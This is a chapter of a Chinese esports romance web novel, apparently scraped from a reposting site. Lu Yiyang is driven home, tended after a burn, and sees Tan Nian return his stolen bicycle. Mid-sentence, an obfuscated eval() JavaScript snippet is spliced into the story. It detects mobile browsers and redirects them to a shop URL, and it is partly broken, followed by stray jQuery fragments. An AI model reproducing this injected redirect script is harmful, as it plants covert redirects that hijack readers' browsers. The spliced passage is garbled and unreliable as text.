风竹小说 > 都市言情 > 乖你个头[电竞] > 34.偷自行车
    一上车就一股子火锅味。

    他发动了车,看方向,是送陆意扬回家。

    但是...他怎么去我家都不要导航的?这拐来拐去的,也没路灯,这能记住?

    “明天要是眼睛不舒服,还要再去一次医院。”谈年说。

    “哦。”陆意扬低着头应,刚刚涂了药膏,又怕碰到这车座,医生说伤口裸露好得快,所以没有缠纱布。

    这使得陆意扬坐得很艰难,靠都没法靠。

    陆意扬感觉他刚刚说话有点奇怪,“就...你管我的事情我不太....”

    “俱乐部本来就配了顾问。”他解释了一下,“就,说一下就好。”

    要这么小题大做吗?就,很奇怪。

    感觉药膏要流下来了,伸手想把药弄掉。

    司机从右侧后视镜打量了他一眼就靠边停车。

    谈年将抽出软纸巾,将刚刚已经热了药从他的后脖颈擦掉,又从塑料袋里重新挤了药膏,陆意扬坐得绷直,还好他这次的手没有摸到陆意扬。

    “你自己看不见。”他垂着眸子,轻轻在陆意扬的后脖颈上吹了一口气,更痒了,痒得陆意扬都想夹腿。

    然后冰凉的药膏又重新覆盖上来,他忍不住又缩了一下。

    陆意扬也不知道在害怕什么,我特么我一个大男人。

    但是他的身体已经靠近车门,都贴上了,害怕边上的人还要有什么动作,活像电视剧里害怕性骚扰的小白兔大学生。

    他将药膏拧紧,车内始终只有一盏柔和的车内灯,白皙的手关节陆意扬总觉得在哪里见过。

    他重新发动了车往前走。

    车里好安静啊。

    要不要说两句啊。

    “你衣服也弄脏了。”陆意扬说。

    “我赔你一件吧。”陆意扬的手绞在一起,刚说完又感觉我这说的,真打算赔谁会说出来?

    果不其然,“不用。”

    但是一秒之后,“喔....是弄脏了。”

    ?

    他的反应也太奇怪了。

    “那我把钱扫给你,我大概知道这衣服多少钱。”

    毕竟陆意扬从前就爱穿这个牌子。

    “不用....”司机舔了下嘴唇说,“太麻烦了,还要买。”

    买有什么麻烦的,直接付款不就好了?

    “麻烦?”陆意扬疑惑地问。

    司机郑重地点了下头,“优惠券,没了。”

    看不出来你还挺勤俭持家啊?

    “我看一下我有没有,”陆意扬打开手机,新客领取,“我有是有....”

    “那你方便吗?”

    你都这么说了我有什么招啊?

    下单,“给你寄到你们基地吗?”陆意扬问,“还要填地址。”

    “能先放你那里吗?”司机说:“基地的快递填阿姨的号码,还要找。”

    陆意扬觉得他很奇怪,但是说不上来哪里不对劲

    “行吧。”陆意扬下单之后,“那等回头到了我怎么通知....”

    “找妙妙。”

    “行吧。”

    真贵啊,草。

    陆意扬心都滴血了。

    从这医院到陆意扬的家里,太晚了路上有点萧条,失灵的路灯有一下没一下的。

    陆意扬看着他的侧脸,少年清晰的下颌骨被路过的夜色灯光青睐,一闪一闪的,像跳动的连环画。

    他吞了下喉结,将目光移动到自己的手上,他搓着自己的指甲,“打扰你吃饭了。”

    “没有。”陆意扬作为一个优秀解说,超级主播,他最擅长场控气氛跟带动节奏,但是在这里怎么感觉自己似乎被道具锁了技能,一个也施展不出来。

    “我前面就到了。”陆意扬说,“然后我的衣服帮我扔了好了。”

    “嗯。”谈年的车速不太快,这地方能开80,那么大的牌子他跟看不见一样。

    但是总算还是悠到了。

    “我到了,那我走了。”陆意扬如释重负,刚要下车,就听见身后传来一声:

    “陆意扬。”

    “啊?”

    陆意扬回头,这个称呼好陌生,他第一次听见谈年正式地叫他的名字。

    二人隔着昏黄的车厢灯对视。

    “.....明天,要是眼睛不好,”他吞了一下喉结,僵硬地抬手,蜷着手指,指着眼睛,“要去看医生。”

    都说几遍了?

    我特么又不傻。

    “好的。”陆意扬露出了一个笑容,“谢谢。”

    陆意扬拿着包跟一袋子药下了车,招了下手就转身回去了。

    这车给陆意扬坐得腰酸背痛,他疾步踩着台阶,只想赶紧洗个澡,这身上的味儿他是一点儿也受不了了。

    他回到家就把自己剥光了,走到卫生间一顿冲,我靠,这热水,差点没给陆意扬烫的蹦起来。

    他重新调低了水温,其实伤得也不重,就是脖子后面红了一点儿,手臂上因为有衣服也没怎么样,就是微微有点痒,手背也零星有几个红点而已。

    眼睛冲了水之后也好多了,就是眼角还是有点痛。

    他洗完照镜子,明天晚上还有解说,可别耽误事儿了。

    他重新给自己乱七八糟的涂上药膏,这枕头估计要废了。

    这条牛仔裤陆意扬还挺喜欢,只能扔在洗衣机,这白t应该也要留渍了也不要了。

    他站在洗衣机面前看着里面的裤子翻滚,水声冲击他的耳膜,他抓着自己的手腕,耳边似乎回荡着谈年的咄声质问与轻声关切。

    陆意扬怔怔地出神,他觉得自己似乎要失去他赖以为生的职业。

    他的第二工种,来钱很快,玩得很大,当黑子,硬卖腐,他觉得没有人没有事能阻止他去接这个烫手但是美味的大鸡腿,他要坚守岗位,热爱工作,只遵循一条原则,不管发生什么,他跟RMB死不分家。

    但是。

    “疼吗?”

    “陆意扬。”

    “他受一点伤,你们负得了责吗!”

    陆意扬烦躁地磨了下牙齿,手撑在洗衣机上面,有点茫然。

    怎么哥这道德感就这么重呢?

    哥就吃顿火锅,就要失业了吗?

    这火锅吃的,真服了,早知道不去了,说的什么,麻绳专挑细处断,命运戏弄大馋猪原来是这个意思。

    陆意扬躺在床上,他想起那次要钱要不回来的县城网吧解说的后续。

    他生了一场大病。

    感冒流涕,怎么都不好,发烧好久都降不下来,浑浑噩噩的就去小诊所输液。

    小诊所脏兮兮的,他坐在角落,那时候他身边也只剩下芳姨能搭把手。

    芳姨那天家里熬了汤,给陆意扬带过来,但是她那会儿儿媳妇刚生也不能离开太久,嘱咐了陆意扬几句就走了。

    陆意扬的腿上放着鸡汤,等着输完液回去喝。

    陆意扬的大夫还在给他拔针,旁边的大妈要上边上的病床躺着,肥胖的身子一扭,撞到了大夫,针狠狠刺进他的手背,但与此同时,汤撒了一些在病床上。

    没人看他的手痛不痛,首先开口的就是大夫:清洗床单被套,要两百。

    接着是大妈:指责他为什么要在这里抱着一个汤罐子。

    他没钱。

    他的手好痛。

    最后的最后,陆意扬发疯,很不熟练,一会儿进了警察局。

    警察局说他年纪轻轻的,这么没素质,人家都可以当他长辈了。

    还是赔了一百,他们骂骂咧咧的走了。

    那些人的样子,嘴脸,话术,就跟今天火锅店的样子慢慢重合。

    那天,陆意扬记得,他还觉得挺委屈的,今天....

    没有。

    陆意扬被白t上的火锅味熏得人都不好了,开了窗户都无济于事,垃圾袋打了两个结都感觉一直在散发,所以他只能拎着下来倒垃圾。

    他扔完垃圾就看见了有人偷他的自行车,校园里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16885648|190783||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    自行车太多,他贴的粉黑镭射标识特别好认。

    他刚要上去抓贼,突然想起来——

    不对,我自行车不是在火锅店吗?!

    他看见那人将车停在他家的小区楼道下,而且那个帽子,那个身形......

    他还把我的自行车给我送回来了吗?

    他怎么知道那是我的自行车?

    可能是K妹他们说的吧。

    陆意扬的手机没电了,还没开机。

    但是接下来...

    陆意扬穿着个大裤衩,大背心,站在小区的绿化带的阴影里,亲眼目睹了谈年将车停好之后,看着他的车发呆。

    我的车我自己买的,我又不是偷的!

    他看我车干什么,喜欢自己去买一个啊,你那么有钱还能买不起吗。

    接着他愣愣地站在那里,他点了一根烟,抬头看了一会儿,烟抽完的时候他往外走,脚步偏快。

    陆意扬顺着他的目光,一栋楼稀稀拉拉好几家亮着灯。

    看什么呢?

    站在同一位置。

    他看的是我家?

    他什么表情?

    陆意扬有些不明白,他想了好几次,似乎他们的交集就是当时的一次兴奋剂查验。

    但是他为什么要这样的看我家呢?

    他为什么要送自行车回来?

    陆意扬感觉陷入了一种很奇怪的想象之中,似乎他的每次巧合在陆意扬的心里都变成了有意为之,来这么便宜的地方吃火锅,给自己的直播间带人气,种种...

    陆意扬感觉自己有点过于自恋了。

    但是,真的是自己自恋吗?

    陆意扬可没有什么钝感力,他敏感极了。

    陆意扬开始安慰自己,他本来就是神经病啊,这事儿早期打游戏的都知道,他无差别发起solo,不愿意跟他打他就一个劲地攻击直到跟他solo。

    他的路人王就是这样来的,出道即首发,当时给青黄不接的PAX注入的可不是什么新鲜的血液,而是兴奋剂了。

    他回了家,坐在沙发上,看着他[羊崽]账号一年来的各种微博。

    这一条,是zonke当时刚进PAX,玩得像个孤儿一样连队友的小地图都不切一下,对此,陆意扬点评道:

    【建议WATA2出一个没有小地图版本的模式。】

    这一条,是zonke团战失误,让本来还有机会的PAX失去机会,对此,陆意扬点评道:

    【谁家大狱没锁好门让战犯跑出来了?】

    这一条,是国外的队伍来打比赛,说是打得友谊赛,但是不知道为什么zonke那把杀得有点凶,简直是虐菜,那会儿网上对PAX的风评也不太好,对此,陆意扬评价道:

    【有朋自远方来,虽远必诛。】

    这一条,PAX战队似乎状态不好,季赛连四强都没进,爆了大冷门,对此,陆意扬评价道:

    【这是PAX最有希望的一个赛季!】

    这一条,PAX似乎对zonke还在接触阶段,但是有偷听的视频流出来,他本人发言说,“PAX除了我你还能找到更适合选手吗?你回去想想吧。”

    看完这个视频陆意扬评价:

    【PAX太子驾到!跪!】

    .........

    陆意扬没怎么漏过zonke的比赛,这个熟悉的陌生人存在在陆意扬的生活里很久很久但是猛然,这个人撕开了次元壁纸,扔掉他在网上的代号,不再是从耳麦中听见他的声音,他甚至能感受到这个人的呼吸,就这么莫名其妙地闯进了陆意扬的生活。

    陆意扬接着往下看,除了一些他做的鬼畜视频,也有一些正经分析选段,他的微博有267条视频,除了自己的直播链接极少与他无关。

    但是...

    陆意扬有点无语了。

    他要是知道他今晚护着的那个人就是网上的黑他最凶的黑粉头子....

    他怎么想?